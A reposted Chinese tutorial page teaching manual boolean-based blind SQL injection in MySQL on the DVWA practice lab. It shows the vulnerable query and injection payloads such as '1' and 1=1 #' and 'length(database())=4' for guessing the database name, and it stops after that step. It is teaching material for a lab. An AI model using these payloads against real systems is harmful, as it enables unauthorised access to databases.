当前位置: 首页> 文旅> 艺术 > MySQL手注之布尔型盲注详解

MySQL手注之布尔型盲注详解

时间:2025/7/13 6:43:52来源:https://blog.csdn.net/m0_52484587/article/details/140306694 浏览次数:0次

布尔型盲注简介

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

环境:DVWA

我们输入数字1提交,页面提示:User ID exists in the database.,说明ID1的存在与数据库中!

 我们输入数字10提交,页面显示:User ID is MISSING from the database,说明ID10不在数据库中!

MySQL盲注常用函数
length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串 
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

盲注流程

1、判断是否存在注入,是字符型还是数字型注入

注入点原查询代码:

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

判断注入:

注入语句:
1' and 1=1 #
带入查询的语句:
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';"; 
注入语句:
1' and 1=2 #
带入查询的语句:
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";

1' and 1=1 # 返回正常:

1' and 1=2 # 返回错误:

 说明存在注入,而且是字符型的注入!(如果是数字型的注入,那么就不用去闭合单引号)

2、猜解当前数据库名

猜数据库名长度:

1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 # 
1' and length(database())=4 #

 1' and length(database())=3 # ,页面返回错误:

1' and length(database())=4 #,页面返回正常:

说明当前数据库名长度为4

MySQL手注之布尔型盲注详解-腾讯云开发者社区-腾讯云 

关键字:MySQL手注之布尔型盲注详解

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: